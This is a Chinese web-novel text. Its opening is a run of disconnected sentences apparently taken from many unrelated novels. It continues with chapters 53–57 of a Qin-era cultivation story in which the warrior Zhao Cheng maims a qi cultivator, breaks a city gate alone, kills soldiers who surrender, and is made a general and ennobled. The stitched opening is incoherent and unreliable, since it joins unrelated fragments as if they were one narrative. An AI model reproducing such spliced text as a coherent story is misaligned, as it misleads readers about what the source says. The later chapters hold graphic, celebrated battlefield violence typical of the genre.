这些“晚辈”中,凡人们和姬天赐聊着家常,聊着国家经济,不少后辈听说姬天赐学的是计算机专业,纷纷邀请他到自己的公司工作,而这些公司不少都还是纳斯达克上市公司。
姬天赐心里一惊,之前听子鼠介绍过李溪,这人是超凡界的泰山北斗,一位极富盛名的裁缝。
第一卷 第53章 灭国之功,能克复否?一人冲城,方士云羽
“大王陛下御览:
臣蒙武顿首再拜,敢以南阳战事陈明君前。
自克叶县之日,赵诚呈报称楚军星夜兼程,欲与城中残部互为犄角,图歼我师于方城之下。
……
幸有赵诚率骑卒万三千,疾驰至犨邑峡道,截其退路。
项佗壮士断腕,舍两万楚军断后,欲领三万强冲生路。
何况,楚君玉那样聪明的人,就是当时不明白,之后也想不明白吗?
若不是用剑拉着凤灵公主的青衣少年,吓了一跳之余,急忙扯着这位公主退开,那支毒镖堪堪能盯在凤灵的嘴巴上。
当然,重点不是在这些魔焰草上,即便是十级七介的灵药,还是脆弱的,但它们能够在漩涡中心存活下来,并且能够生长,那瓶子绝对是功不可没,若是没有那青铜瓶子,那里别说长灵药,连那几块陆地都会变成灰。
草草地喝了点水,吃了点干粮,们就投入了休息。四周张牙舞爪的壁画,中间雄壮凶猛的神像,外面时笑时泣的声音,没有一点胆量,还真不容易睡着。
看来这个叫陶然的也许真的只是俞菲菲的保镖?至于那个晓兰说的男友身份,云少枫直接就给无视了。理由很简单,俞菲菲是什么身份,怎么可能交一个普通人当男朋友。
“无碍,咱们娃都有了,这些形式的东西,不还留在床上。呵呵!”景晏将她在床上,再顺手将她头上的‘杂物’凤冠金银等物,也一并细细轻轻地拆除,见她紧蹙着的柳叶细眉终于舒展开了,他才放下心。
想起白天在家主办公室对她说的那一番话,自己都觉得可笑的很。
古云也是将黑风家园趁战斗波动消散之际,藏在了一个隐密之处。
“乖。只有你。”景晏抚着她的黑发,亲密地在她的额上留下浅吻,认真严肃地对她承诺道。他可舍不得娇娇心有不爽,反倒不美呢。
看着对面的陶然,男人脱下外衣,扯了下嘴角,活动一下筋骨,暗运气劲,几个穴道明显的跳动了一下,明显也有些兴奋。
如今已经近六月,古人是以农历为准,四五六为夏,明镜又处南地,如今已经热得很,正适合挂风铃。夏夜之中,微风轻拂,风铃声阵阵,听着就消暑。
他说着,去拿了一件紫妃的厚披风,将饶雪空裹得严严实实地,拍了拍手。外面便进来了一个青衣死卫。
对于风萧萧的等级,一剑冲天没有太在意,一路只是不住的感慨过了70级升级真是好慢好难。片刻,日落山出现在众人眼前。
“好了、好了。 我是在夸你呢,能让我死心塌地为你卖命,这也是你地魅力么。 ”钱不离连忙抱紧了姬胜情。
“而你来这里,应该是为了某种目的,而唤醒属于你的龙之力吧!”龙漠崖看着叶天邪,字字平淡之中带着让人窒息的沉重。
接下来,卡里奥跟之前瑞安闪躲他追杀时一样,大范围闪躲赛斯的攻击,只是他闪躲的方向很有目的,沿着街道,朝奥本武馆的方向退去。
她和靳啸寒更没有开口问韩渐离,为什么不给他们递消息,为什么不等等,他们可以一起来参加他的婚礼,喝一杯喜酒。
这简简单单的一步却如同踏在了暗冥鬼王的心上,圣剑的靠近让那股他恐怖无比的神圣力量更加浓烈了几分。即使他再怎么镇定,再怎么想要凝聚力量去抵挡,都无法压下那根本无法遏制的恐惧。
第54章 真元如海纳细雨,一粒蜉蝣见青天!
宛城之外,赵诚飞骑如箭,直逼城门。
云羽站在近十丈高的女墙之上,迎风而立,飘飘欲仙。
粗布麻衣不能遮掩他的仙风道骨,只是站在那里,就显得异常超凡脱俗。
他凝视着赵诚,脑海之中回忆着师父的教导。
师父一直说,世人庸碌,能勘破者寥寥无几,能够修炼者更是凤毛麟角。
而他,不才,正巧是这凤毛麟角之中的佼佼者。
他天生经脉通达,八岁搬运气血,十二岁气返先天,十八岁引气入脉,二十七岁元气满溢,至三十五岁,已经凝聚出第一道真元存于气海之中。
就算是师父,对其也是十分满意。
那等巨箭,十年前他就可以挥袍碎之。
自然不将赵诚放在眼中。
感受着气海之中的一缕真元。
云羽笑得云淡风轻。
“三十年潜心修炼,从无人前显圣,没想到第一次出手,就当着这么多人的面杀人。”
“我已凝聚出了第一道玉液真元,今天就以这一道真元除你,也算是为抵御暴秦出上一份力吧。”
“且让你看看,修行之路漫漫,天地如何广阔……”
突兀的。
他向前一跃,竟从近十丈高的城墙上面跳了下去。
这一幕顿时将韩方军阵之中的将士们惊得不轻。
“噫!他怎么跳下去了?”
“人呢?”
“想不开?”
好几个将士上前一看,却见云羽飘飘然落下,手掌只是在城墙上面轻拍,便轻松阻碍了降落的势头,飘逸潇洒地落到了城下。
暴义见此,心中顿时有了许多信心。
“果真奇人异士!”
城头之上也是士气大振。
“奇人哉!?”
“这人竟然会飞,当真是神仙中人!”
“这可快有十丈高了,他就那么一拍,就飘飘落地,人怎么能轻得像是羽毛一样?”
“我看这位比那金甲小将厉害的多了!”
“就这一手,还不把那些秦军吓破了胆子?”
秦军之中确实有些震动,不过却没有担忧。
他们对赵诚有着极度的信心,认为赵诚就是天下无敌的,见到此人神异,最多考虑一下对方是不是有一战之力。
“那是何人,怎么从城墙上面跳下去了?”
“莫不是被将军吓破了胆子想要自杀?”
“噫!他好像是飞下来的。”
“此人不凡,或有与将军一战之力!”
蒙武眉头微皱,“敌城之中竟然有个方士!”
蒙恬也是有些担忧,“此人显然修炼有成,不知道阿诚是否能够对得过他。”
蒙武想了想说道,“方士多以食气之法修炼,重在气的运用,气用完了就没了战斗力。”
“而且这类人潜心修炼,往往战斗经验不多,体魄虽超越常人,却不如赵诚这等天生神力的体魄强韧。”
“赵诚凭借着强大体魄和战斗经验,未必不敌他,只是要小心他的方士手段,只要与其周旋,待其气竭,可一戟杀之。”
“也不知道宛城的守将从哪里找来这等修炼有成的方士。”
蒙恬皱眉道,“阿诚从未接触过炼气士,对他们不熟悉,很可能大意之下着了他的道。”
“怪我,没有提前和他说清楚。”
“无妨,他精着呢,没那么容易着了别人的道。”
众人遥遥望去。
却见那云羽背负双手,就站在城门之前不远处,独自拦在赵诚奔马的前方。
双方距离在快速拉近,而他笑意如常,似是完全不将赵诚放在眼中。
“炼气士?”
赵诚见此人气势不凡,心中提起些许警惕,但更多的是跃跃欲试。
如今他耗费诸多寿命,才将是个大窍盈满玉液真元,正想好好试试手。
这人看着如此不凡,可试刃乎?
想着,他一夹马腹,奔马越发迅猛,如雷疾至!
双方距离不过三丈,赵诚挥戟就劈,势若雷霆!
却见那云羽突然动了,他脚下踩出玄妙轨迹,身子一斜,险之又险躲开了赵诚的一戟。
又于转瞬之间,挪移到奔马一侧,提前躲开了赵诚的一抓,如同灵蛇一般自马腹下方钻出。
他贴着马腹攀身而起,运转师门秘法,一缕真元悬浮在掌心之上,朝着赵诚的胸口按去。
这一掌看起来轻飘飘的,但只有云羽自己知道,这真元将有何等威力。
就算是这坚硬的城墙,被他这么一按,也将按下去一个大坑出来。
肉体凡胎如何能挡?
他自信这一下,就能让赵诚暴毙,甚至能将赵诚胸口炸穿。
此时赵诚一戟打空,又一把抓空,顿时惊疑起来。
此人好生灵活!
刚刚还在右侧,突然钻到了左侧,等到他锁定对方,对方的手掌已经探到胸口了,这是真元的运用吗?
不得已之下,赵诚只得准备硬扛一击,再做反击。
好在体内有无尽的真元玉液涌动流转,一举一动之间,四肢百骸都被满满覆盖,几乎都要满溢出来,就算不强行调动,也会自动护住全身。
而云羽这一掌真元刚刚落在赵诚胸口三尺之外,却突然不得寸进,如陷泥沼。
云羽愣住了。
咦?被什么东西阻挡住了?
赵诚也愣住了。
这家伙怎么突然停手?
两人面面相觑,停滞只有一瞬间。
下一刻,赵诚那如海一般覆盖在全身上下的沛然真元,就像是被兔子入侵了领地的雄狮般,自然而然猛烈反击!
无边无际的真元之力陡然爆发开来。
这真元之力如泰山压顶,如怒海狂潮,浩浩荡荡,无边无际。
云羽的表情在一瞬间变化得极度精彩!
如一粒蜉蝣见青天般,震撼失语。
他感受着手掌心那一缕微弱的真元,再感应着面前那无边无际的真元,大脑一片空白。
怪不得不得寸进,原来是米粒之光在于炽阳争辉……
震撼间,无边真元已自赵诚胸口之前,向前轰出,炸出隆隆震响!
好似大山碾压蝼蚁,又好似洪水冲散泥沙。
在如此真元洪流之下,云羽那一点点小真元,就和没有一样,瞬间消失。
与之一同消失的,是云羽处于真元爆发方向的一整条手臂!
手臂轰成齑粉,血雾弥漫间,他的肩膀以下已经是空空荡荡,直接跌落到了马下。
他捂着手臂,感受到那汹涌真元,竟然向前轰出丈余才缓缓消散,不由得一阵茫然失措。
这是……真元!?
作为师父承认的炼气天才,他潜心修炼三十年,才堪堪凝聚出一缕真元。
凝聚出第一缕真元的那一天,他将这一缕真元视若珍宝,认为其稀世罕有,只以秘法调用,害怕浪费一丝一毫。
但他这辈子都没想过,有朝一日竟然能够在一个人身上,见到如此之多的真元。
而那家伙使用真元的方式,又是如此的粗暴浪费。
大海倒灌蚂蚁洞,简直暴殄天物!
这真元全身上下到处都是!?
才十六岁的少年,已是真元如海!
那我这个天才又算什么?
云羽想不通,他顾不得肩膀处还在大量流血,只是怔怔看着赵诚调转马头而来,居高临下看着自己。
他回忆着自己的一生,突然感到毫无意义。
赵诚皱着眉头,“就这?你也太不经打了。”
“你那个,是真元吗?”
云羽张了张嘴,竟羞愧得难以开口。
赵诚觉得对方的战力也有可取之处,至少那个身法,就非常不错。
他的真元显然非常少,但是却可以发挥出这样的速度和身法来,若是自己使用,肯定不会像现在这样,用得这么粗浅。
于是他干脆伸出大戟,将云羽挑到了马上,云羽挣扎着,但是在赵诚面前就像个小鸡仔一样,被轻松制服。
赵诚拿出止血膏,一把抹在了云羽肩膀断口处,免得他死了。
云羽疼得龇牙咧嘴,“你要做什么!?士可杀不可辱!”
赵诚又狠狠一捏他的肩膀,运气疼得直接翻白眼晕了过去。
“废话真多。”
赵诚将其当做战利品挂在马上,继续前奔,城门已是近在咫尺。
城头之上,暴义眼角抽搐,如临大敌。
这就是你说的雕虫小技?
你特么连人家的铠甲都没打破,送死去了是吧?
什么玩意啊,人家都没动手,打别人把自己手臂打没了!
但凡你实力有装相本事的一半,也不至于被打得这么惨吧?
“巨弩上弦,射!”
不用他说,各方将士已经全都是如临大敌,早早的就将巨弩上弦了。
随着他一声令下,无数巨箭直奔赵诚。
而赵诚依然是挥戟破之,迎着巨箭如雨,来到了城门之前。
只见他抬戟,向着城门斜劈而下!
真元鼓荡如龙间,大戟摧枯拉朽,将巨大的青铜城门斜斜劈成两半!
城门轰然倒塌。
城门后面,是无数目瞪口呆的士兵,呆呆地仰望赵诚。
赵诚策马而入,诸多韩军后退。
“投降,还是死?”
最前面的韩军退得太慢,被后面的人阻挡,眼看赵诚越来越近,当下跪地求饶。
“我们投降!”
赵诚挥戟就砍,脑袋飞起一片。
“投降也死。”
韩军更是傻眼,当即狼狈窜逃。
夭亡乎!
这他娘的煞星不干人事!
投降也死,那你说个什么?
第55章 一戟破城,寿命凝虚,灭韩之令
暴义看着赵诚挥戟之间,城门裂碎,顿时浑身无力跌坐在地。
孤身攻城,一戟破门。
这青铜巨门就算是放任敌方来攻,尚且还能支撑个把个时辰,就这么被一个少年挥戟破之。
如此攻城,何人能挡?
这城,还守个什么!?
心灰意冷之间,暴义抬眼看见赵诚已经是卷着腥风血雨,强行登上了城头,杀到了自己的面前。
那大戟挥动之间,卷动锋锐罡风,自己麾下的士兵,就算不与大戟相触,碰到那罡风,也是瞬间毙命。
少年神将眨眼间就已经杀到暴义身前,“老将军,借头颅一用。”
暴义浑身一冷,提剑当先杀向赵诚,还没踏入赵诚七步之外,脑袋已经是搬了家。
赵诚的速度实在太快了。
城外的秦军还沉浸在赵诚一戟斩落城门的震撼之中,赵诚已经杀上了城头,斩去了守将的首级!
蒙武惊愕间回神,令旗一挥,大军瞬间压上。
但此时,本该气势如虹的秦军却十分沉默,喊杀声都寥寥无几。
无他,大部分人都还沉浸在赵诚一戟破门的震撼当中。
等他们冲到城门之后,看到的却是一地的尸体。
城门之后但凡跑的不够快的守卒,全都被赵诚杀光了。
秦军如入无人之境踏入城中,抬眼去看城头之上。
赵诚已经从正门,杀到了另一头的侧门。
那大戟更是被他挥出了残影,所过之处,寸草不生,一扫就是一片。
城头之上的女墙都被削平了。
在他前方抵抗的韩军,就像是流水线一样,一片片的被斩落城下。
不是腰斩,就是尸首分离。
杀敌效率之高,令人目瞪口呆。
短短片刻时间。
侧门守军也是闻风丧胆,顾头不顾尾的丢了兵器就跑,有的甚至嫌弃盔甲太重,一边跑一边连盔甲都脱掉了,只求跑的快一点,再快一点。
恐惧在飞快的蔓延,从城的这一头,迅速蔓延到另一头。
而赵诚一边杀,一边追,追着上万人在城中乱杀。
这些人一哄而散,各个方向都有,让他杀敌效率直线下降,好在还有其他几处城下大营,许多不信邪的将士还在跃跃欲试,带兵围杀而来。
于是赵诚改换方向,朝着其他城门方向冲去。
他就像是猛虎下山一般,在城中奔袭如雷。
后面的秦军根本跟不上他的节奏,只能看到他的影子窜来窜去,一眨眼就又钻进了敌方军阵之中。
赵诚冲向其他大营所在,果然有大股兵力围杀而来,军阵如海铺开,赵诚一头扎进去,就掀起了腥风血雨。
没过多久,那如海的军阵一如之前轰然逃散。
没办法,这家伙简直不是人!
杀又杀不死,他杀人却又快的让人头皮发麻。
跑的慢一点,根本没有活路。
如是反复两次。
宛城的其余几万守军,远远看到赵诚杀过去了,就开始在城中疯狂窜逃,根本不敢停留。
更有大量士兵在另一边的城门后面聚拢,拥挤着打开了城门,向着城外逃去。
好在蒙武早有布置,将窜逃出去的韩军围堵住,全都赶了回来。
这一下,韩军就像是找到了救星似的,纷纷跪在蒙武一部前方,求着蒙武将他们收为俘虏。
“投降,我们投降!”
“我等愿做俘虏,只求留我们一命!”
“救命啊!那血屠又过来了!”
“将军大人救命,我们愿意干活,干最苦最累的活也没问题,快让他停手吧!”
蒙武哭笑不得,这仗打的太轻松了,破城也破的太快了。
南阳说下就下,粮草都还没消耗过半,整个南阳已经攻克了。
这数万韩军,倒也有些用处,可以用于之后建设南阳,转化成为秦国南阳郡的奴工。
赵诚此战之后,也必然会升爵,若是到了那一步,就需要建设南阳,稳固南阳民政。
想着,蒙武便决定收下这些俘虏。
随着他开口接受投降,诸多还在被追杀的韩军顿时好像找到了救星,亡命奔逃到蒙武这边跪下,好像这边是什么安全屋或者庇护所一般。
外面的世界实在是太恐怖了。
多待片刻,就要死无全尸。
接下来的事情就简单了,蒙武这边的降卒越聚越多,赵诚那边的韩军越杀越少。
不过,随着系统提示传来,赵诚也终于停下了杀戮。
【寿命总额突破十万年,解锁寿命凝墟功能。】
【寿命凝墟:可消耗寿命凝练自适应随身空间——墟境,一万年凝练一立方米。
墟境没有固定形状,可自适应物品形状;墟境可储存活物;可消耗寿命影响墟境时间流速。】
【当前剩余寿命:115235年。】
“墟境?”
赵诚眉头一挑,看了看剩余寿命,选择先消耗一万年凝虚。
【消耗一万年寿命凝墟。】
【获得墟境*1】
瞬间,赵诚眼前好似出现了一块与身前虚空折叠的空间,这空间环绕在赵诚周围,可随着他的心意出现在任何一个方向。
不知道我的宝戟放不放得下,既然是自适应的话,应该是没问题吧。
赵诚想着,探手将宝戟一放。
宝戟顿时消失在了手中,出现在了墟境之中。
而墟境的空间果然随着宝戟的形状而变化,甚至还多出了一小团空间。
“不赖,放点随身物品和兵器完全够用。”
“就先如此吧。”
“回去之后,再锻造神兵,方天画戟!”
心心念念的方天画戟终于可以寿命锻兵了。
不枉他一马当先攻入宛城,提前冲杀。
可惜韩军投降派太多,抵抗派太少,他才打了没一会儿,四万多韩军就全跑去蒙武那边投降了。
不然没准现在青龙偃月刀都可以一起锻造出来了。
投降派真该死啊。
眼见赵诚踏血而来,目光不善。
四万多投降派浑身发凉,连连往后躲去。
蒙武也是连忙劝说,“阿诚收手吧。”
“你若升爵少上造,还需要留着这些俘虏,帮你建设南阳,稳固政课。”
什么!?
众俘虏大惊失色,以后我们要在血屠手下做事!?
完了,前途一片昏暗。
赵诚不解,“少上造还需要建设克复之地?”
蒙武说道,“少上造已经是极高的爵位了,需要承担重任,自然需要展现军政能力,即攻城克地开疆拓土之后,能否将地方转化成为秦国领土,稳固民生民政。”
“原来如此。”赵诚点了点头,“那就暂且留着他们,等谁不好好做事的时候再杀就是。”
此话一出,众韩军都是一阵哆嗦。
这煞星是不杀光他们不罢休啊。
杀瘾这么大的吗?
“攻克宛城,已是大胜,宛城一下,南阳便是尽握于手,更是腾出了秦国东出之地,此功需传急报!”
蒙武本次接到的王令就是攻克南阳。
这一战,与之前的小规模胜仗不同,是大胜仗,称得上是开疆拓土。
所以他立刻下令核验军功。
当然,其实也没有什么好核验的。
赵诚破城,赵诚杀敌,赵诚把敌军吓得投降了。
全都是他一个人干的,大军进了城,想杀个敌都追不上,所有敌军都在被赵诚追着杀。
所以军功倒也很好统计,很快就统计出来了。
“赵将军孤身破城,斩杀韩国上将军暴义,杀敌共八千四百一十三人,慑服俘虏四万三千七百人,一人克城而归。”
蒙武听着汇报,心情有些复杂。
自己之前苦思冥想,推演安排的一系列战法和计策都没了用处。
半日不到就攻克了宛城,他这个将军倒像是个摆设。
“拟军报吧,急传咸阳。”
这军报好写的要死。
战役情况很清晰,军功数目就一份,个人首功也是那一个。
短短几行字就写完了。
竹筒一封,奔命士立刻奔向秦国方向。
八百里加急,驿骑交替,日夜兼程,不出三日,就能抵达咸阳宫。
蒙武则是命令着众人驻扎,处理着宛城的首尾,为后续建设,转化成为秦国领地做准备。
如今,他连给大王写信的欲望都没有了。
开玩笑,这样的军功,这样的猛将,还有什么举荐的必要?
除非是大王完全不信,或者有小人构陷,不然赵诚没道理不得到重用的。
当然,这一战的军功,确实比叶县之战还要不可思议。
但咸阳那边不信也没办法,事实就是如此,等赵诚回咸阳,那些家伙不信也得信。
谁不信就砍了谁!
蒙武揉了揉眉心,感觉自己受到了赵诚的影响,已经开始不想动脑子了。
有他在,确实也不需要动什么脑子。
要是大王之前的命令是直接攻克韩都就好了,还是头一次打这样富裕的仗,还想多打几次。
正想着,外面突然有副将急促的声音响起。
“将军,郎中令带着大王军令赶到了。”
蒙武一个激灵,出门迎上。
郎中令手持护符传节,身后跟随着几名谒者,都是风尘仆仆。
此时看着已经秩序井然的宛城,一脸的惊奇。
“恭喜蒙将军再下一城,此战如此势如破竹,当真不可思议。”
蒙武摇头苦笑,“此战全赖赵诚勇武,与我倒是干系不大。”
“那也是蒙将军指挥有方。”
“赵诚何在?”
“如此赫赫战功,我在咸阳宫可没少听到他的名字,大王也很重视他,这一次的军令,就是冲着他来的。”
“速唤赵诚来!”
很快,已经洗去一身血污的赵诚赶了过来,但一身血煞之气仍是烈烈腾腾,龙行虎步之间,杀气如潮。
郎中令遥遥一见,不由得屏住了呼吸,如被猛虎凝视,浑身不由得绷紧。
离得近了,更是心头一惊。
只见这少年面目英武不凡,眉宇之间,竟有几分肖似大王陛下。
赵诚几步到了郎中令身前站定,打量了一下他,合手一拜,“见过郎中令,大王陛下有令于我?”
郎中令闻言,立刻拿起了符节和虎符。
“大王有令,若十日之内下宛城,且赵诚再获首功者,则命赵诚持此虎符,率兵攻克韩都新郑。”
他将虎符与符节递上,和颜悦色传话道,“大王问你……”
“灭国之功,能克复否?”
第56章 大将赵诚,中更赐爵令传至阳城!
“末将领命。”
赵诚接过虎符与旄节,“再回大王话,臣破韩都,旬日必归。”
这言语淡淡,但其中气势如虹,无边笃定扑面而来,让郎中令暗暗敬服。
他回礼,又肃立说道,“即日起,大王封赵诚为破韩大将军,赐将军印,制书契券,宝剑玄甲,旌旗节杖!”
后方的谒者从马车上面拿下一应物件。
其中,将军印是金印紫绶,规格极高。
一般只有一方主将才有如此金印,上有大将军诚的字样,代表着赵诚所率军队的生杀大权,尽握于其手,能以其节制诸将。
制书,以帛书书写的正式任命诏书,任命原因、职权范围及期望,落有秦王君印。
契券,分左右两片,皇帝与将军各执其一,用于验证命令真实性。
玄甲,即为千锤百炼的黑色鳞甲,这鳞甲的坚固与威武,更甚赵诚的鎏金鳞甲,亦是大将军的规格。
宝剑,既是千锤百炼的极品宝剑,也是授予指挥权,暗含“代天子行诛”的意义。
至于将旗,乃是为赵诚特制的黑面大旗。
旌旗迎风猎猎之际,上面一个大大的赵字随风而立,此为军事指挥的核心,亦是在战场之上,所有士卒的冲杀方向与精神支柱。
赵诚领了一应信物,穿戴上了将军铠甲与宝剑,站在那里,威风八面。
如此一来,他已是独领一军的大将,在这战场之上,与蒙武平级。
郎中令又说道,“蒙将军,大王命你配合赵诚点齐兵马,交接军粮,并率领其余部下,巩固战果。”
“蒙武领命。”
蒙武看了看一旁已经与自己平级的赵诚,心中感慨不已。
不过这也是好事,他终于不用带着大军陪太子读书了。
有赵诚在,这一仗一仗打得一点意思都没有,还不如呆在这里巩固战果。
而且,对于赵诚的崛起,他也乐见其成。
几人来到宛城大营之中。
此时诸将都得到了蒙武的消息,各自带着兵马站在无边武场之上。
近十万大军眼含期待地看着前方,很多人都听说了赵诚即将点兵点将,亲自率兵攻破韩都。
以赵诚如今在军中的威望,没有士兵不想跟着他打仗,都是眼巴巴地看着高台的方向。
赵诚身披将军铠,手按将军剑,大步走上点将高台。
其后冯全高举赵诚的将旗,满面红光,意气风发。
下方,近十万秦军在看到将旗的瞬间,喝彩声冲天而起,士气节节攀升,肉眼可见的军气蒸腾!
后面的郎中令见到这一幕,才真正体会到了赵诚如今在军中的威望达到了何等地步,不由得暗暗咋舌。
“真是百闻不如一见,谁能想到,这仗打了连一个月都不到,赵将军已经有了如此威望。”
蒙武在一旁说道,“他自参战起,每战必身先士卒,于第一线冲杀敌军,摧锋折锐,破敌擒将。
最难啃的骨头都被他啃下来了,将士们的死伤自然降低到了极点,又有军功可以拿,谁能不敬服他呢?”
军功可能有办法作假,但是将士们的崇拜是骗不了人的,军中的威望更是骗不了人的。
一个没有本事骗取军功的人,不会迎来将士们的拥簇,只会迎来将士们的鄙夷。
郎中令将这些事情全都暗暗记在了心里,准备回去告诉给大王。
赵诚按了按手,下方如同沸腾一般的声音在一瞬间消失,变得无比的安静。
所有的将士都在等着他说话。
“大王命本将率军灭韩。”
赵诚开口,中气如龙,声音隆隆震响在武场之上,传递到每一个人的耳朵之中。
“此去兵贵神速,本将要在十日之内攻破韩都。”
此话一出,众将士尽皆愕然。
就连蒙武也是微微皱眉。
这未免太心急了一点。
宛城到新郑,需穿越嵩山支脉,山地地形限制了秦军的行军速度与辎重运输,光是赶路,可能就会消耗十多天的时间。
其中更是需要经过阳翟,襄城,南梁,陉山多重防御,而且韩国还可能会依托山地设伏或进行游击抵抗。
十天都不够赶路,更何况韩军还有抵抗,其中还有城池需要攻克。
蒙武与郎中令面面相觑,都是摇头苦笑。
看来这孩子还是经验太浅,没有领兵打过仗,不知道其中艰难,开口就是十日破韩都。
私底下说说也就算了,当着大军的面如此说,那就相当于军令状了。
然而赵诚早已有了规划。
“此去,不带辎重,只做速攻,以战养战。”
“敌方的军粮,就是我方的军粮,敌方的辎重,就是我方的辎重。”
“敌挡杀敌,遇城克城!”
“故而,兵贵速不贵多,突骑营,出列!”
三千突骑激动地越阵而出。
“轻骑营精锐者,出列!”
又有五千轻骑越阵而出。
“众部自信能跟得上的,出列!”
这一次,近十万秦军全都是望洋兴叹,听到了赵诚的规划,他们自认为是跟不上赵诚的,就算是轻步兵,也根本跑不过马啊。
然而就在众人望洋兴叹之际,一名十五六岁的少年穿越军阵,独自站到了大军前方。
赵诚目光一凝,打量这少年。
这少年身形消瘦,看着比赵诚年纪还要小上一些,但双眸明亮,微微低着头,顾盼之间,如同一只小狼。
赵诚问道,“可会骑马?”
少年摇头,“不会,但是我跑得快,跑的久,想跟着将军去杀敌灭韩!”
赵诚无所谓,“入列!”
少年沉默着,跟在一群骑兵后面。
赵诚看着这些人,环视一圈,冷漠说道,“此去一往无前,跟不上的,自己了断!”
“是!”
声音冲天裂云。
众将士没有人觉得不妥,跟得上将军的才有军功拿,跟不上的,连屁都不配吃。
这一点他们早在赵诚攻破宛城的时候就知道了。
进来慢了,敌人都被将军一个人杀了,屁都吃不到一口。
而且这一次深入韩境,攻破韩都,那可是直捣黄龙。
跟不上将军,就会落入敌方围杀圈,可不就只能自我了断了吗?
蒙武和郎中令都是神色古怪,他们没有想到,赵诚竟然只点了八千骑兵,而且此去只打算速战速决。
如此剑走偏锋,实在凶险。
不过想到赵诚的武力值,蒙武又觉得,战术非常可行。
“这种仗,也就赵诚能打了。”
蒙武苦笑摇头。
他看向一旁的蒙恬,“此去凶险,千万小心,紧跟赵诚左右,事不可为及时退回,再谋灭韩。”
蒙恬意气风发,笑道,“知晓了。”
“风!”
“风!”
“风!”
大军壮行声中,赵诚一部八千骑兵,向着韩都方向疾驰而去。
在其后方,还有一个小小少年埋头狂奔跟随。
……
“有人吗?”
“有人在吗?这还关着个人呢!”
“理我一下啊!”
宛城临时大牢之中,云羽有气无力地喊着。
作为赵诚的战场俘虏,回来之后就被关押在了这里,本想着赵诚留着他是想要审问什么东西,或者是想要他的功法。
但谁知道,别说审问了,找他说话的人都没有。
一连好几天,连个人都没见到。
大牢里面暗无天日,云羽一闭上眼睛,就是赵诚那如山如海真元碾压自己的画面,无尽的挫败感笼罩了他。
若是以往,不管在哪里,他都可以修炼度日,大牢里或者山野间,对他来说没有什么区别。
但是现在,道心已经崩了。
修炼?
修什么炼?
再怎么修炼,也比不上那等天才。
人家凭借野路子,都能修炼出真元如海。
自己穷极一生,更有老师悉心教导,无上传承规划路线,结果修炼出那点真元,连人家一根毫毛都比不上,这还有什么好修炼的?
云羽痛苦,却无从纾解。
实在忍不住想要何人说说话,问问现在是什么情况,赵诚何在?
结果喊了两天,才终于见着个人,一问之下,赵诚已经领兵灭韩去了,根本没有搭理他。
云羽毫无存在感,不由得痛哭流涕,感慨自己一生活到了狗身上去。
……
阳城县东门外,两匹玄色黑马踏碎薄冰,其后拉着的马车之上,摆放着一只金边朱漆木匣。
两侧有十名甲士护送,一名官吏走在最前,踏入城中,直奔县廷。
"丞相府赐爵令——"
县令王远与县尉蒙威听到声音,立刻迎了出来。
他们在得到军功简报的时候,就知道赵诚将要再次封爵,已等了数日。
如今迎出门去,一看这规格,就知道本次封爵不小,定是高爵!
护送赐爵令的官员将朱漆木匣交接给县令。
县令王远谨慎地将木匣上的铜锁扣环打开,木匣之中,映入眼帘的便是帛书赐爵令,中更爵印,以及名田宅籍,军功副录。
下面更有两件上卿朝服,用以赵诚上朝议事的时候穿戴。
这赐爵令规格与之前的五大夫规格已经大有不同。
青紫色帛面泛着丝绸特有的幽光,边缘用茜草染出三寸宽的深青色云雷纹,更有金粉点染爵级徽记。
王远小心地打开帛书赐爵令,与蒙威一同看去。
“丞相昌平君令曰:
阳城县怀阳村黔首赵诚,于韩战之役,随蒙武将军断滍水、困昆阳,率死士二十,易猎衣而潜坚城,斩将夺旗,破城启关,厥功甚伟。
其夜袭官署,独杀守卒三百,县尉授首于案几……
巷战半夜,引敌数千往返,箭毙千夫,血浸衢石……
伪作猎户,登陴斩将,戟斩数千,破悬门而启雄关,使大军直入叶县,兵不血刃。
此等虎貔之勇,合于秦法,又着大王陛下破格赐爵中更,爵级十三,食邑一千八百户,田八十顷,宅八十区。
因其身在行间,着里正赵诚代受爵符,以彰忠烈。
秦王政十六年十一月(丞相府印)”
王远抬头,与蒙威面面相觑,“中更啊……”
蒙威咽了咽口水,“这……以后见面,咱们俩要叫他大人了。”
王远苦笑,“别说咱俩了,郡守见了他,也得行礼,叫一声大人。”
“以后要仰仗他来提携咱们了。”
“来人,快去唤怀阳村里正张余来……罢了,我亲自去怀阳村,叫乡啬夫先去怀阳村等着。”
“还有,刻碑公示,咱阳城县出了中更大爵!”
第57章 惊世战功,嬴政疑心
怀阳村,五大夫赵诚之宅。
如今这二十五区大宅已经建了起来,只差一些细节之处,便可完工。
里正张余一步三晃地行走在大宅之中,这里看看,那里默默,美得咧嘴直笑。
舅母忙忙碌碌,打理着里里外外,总觉得那些仆从弄得不尽满意。
正此时,又有好几个村民急匆匆地跑来,探头喊道,“张余!张余!”
“你家小铁人又封爵了,这次不得了哦,县令大人亲自过来了!”
“还有人抬着大红箱子嘞!”
“阵仗太大了,你快去祠堂前坪!”
“啥?”张余一愣,与舅母对视一眼,两人一起朝着祠堂前坪跑去。
到了前坪,才知道阵仗有多大。
那前坪正中,一个青铜大鼎坐落在那里,显然是刚搬来的。
一排县廷甲士在祠堂前坪呈两列站好,中间坐落一个红布案台,放着一个不小的朱漆木匣,上有金纹点缀,看着就是极尊贵的物件,不像是寻常百姓用的东西。
县令县尉两名大人,正站在祠堂前坪交谈着,一脸笑意,丝毫没有因为等候张余而不耐烦。
见他来了,甚至还对着他点头示意。
张余和舅母都有些受宠若惊。
张余连忙上前,行礼告罪,“让二位大人久等了,我才刚刚知道……”
“无妨无妨……”
王远和蒙威丝毫不介意,对待张余的态度,也和平级似的。
“你家外甥,又封爵了,这次是大爵,还是你代领。”
“是是是。”张余有些局促,目光看了看王远手中那赐爵帛书,感觉这赐爵令肯定比之前那个,造价要贵上十几倍不止。
他用双手在衣服上用力擦了擦。
感觉还是黑黝黝的,擦不干净,又跑到一个妇人旁边,把人家手帕借了过来,总算觉得手干净了不少。
王远展开帛书念道:“丞相昌平君令曰:
阳城县怀阳村黔首赵诚,于韩战之役……
率死士二十,易猎衣而潜坚城,斩将夺旗,破城启关,厥功甚伟……
巷战半夜,引敌数千往返,箭毙千夫,血浸衢石……
更伪作猎户,登陴斩将,戟斩数千,破悬门而启雄关,使大军直入叶县,兵不血刃。
此等虎貔之勇,合于秦法,又着大王陛下破格赐爵中更,爵级十三,食邑一千八百户,田八十顷,宅八十区。
因其身在行间,着里正赵诚代受爵符,以彰忠烈。
秦王政十六年十一月”
王远的声音落下,场间一片安静。
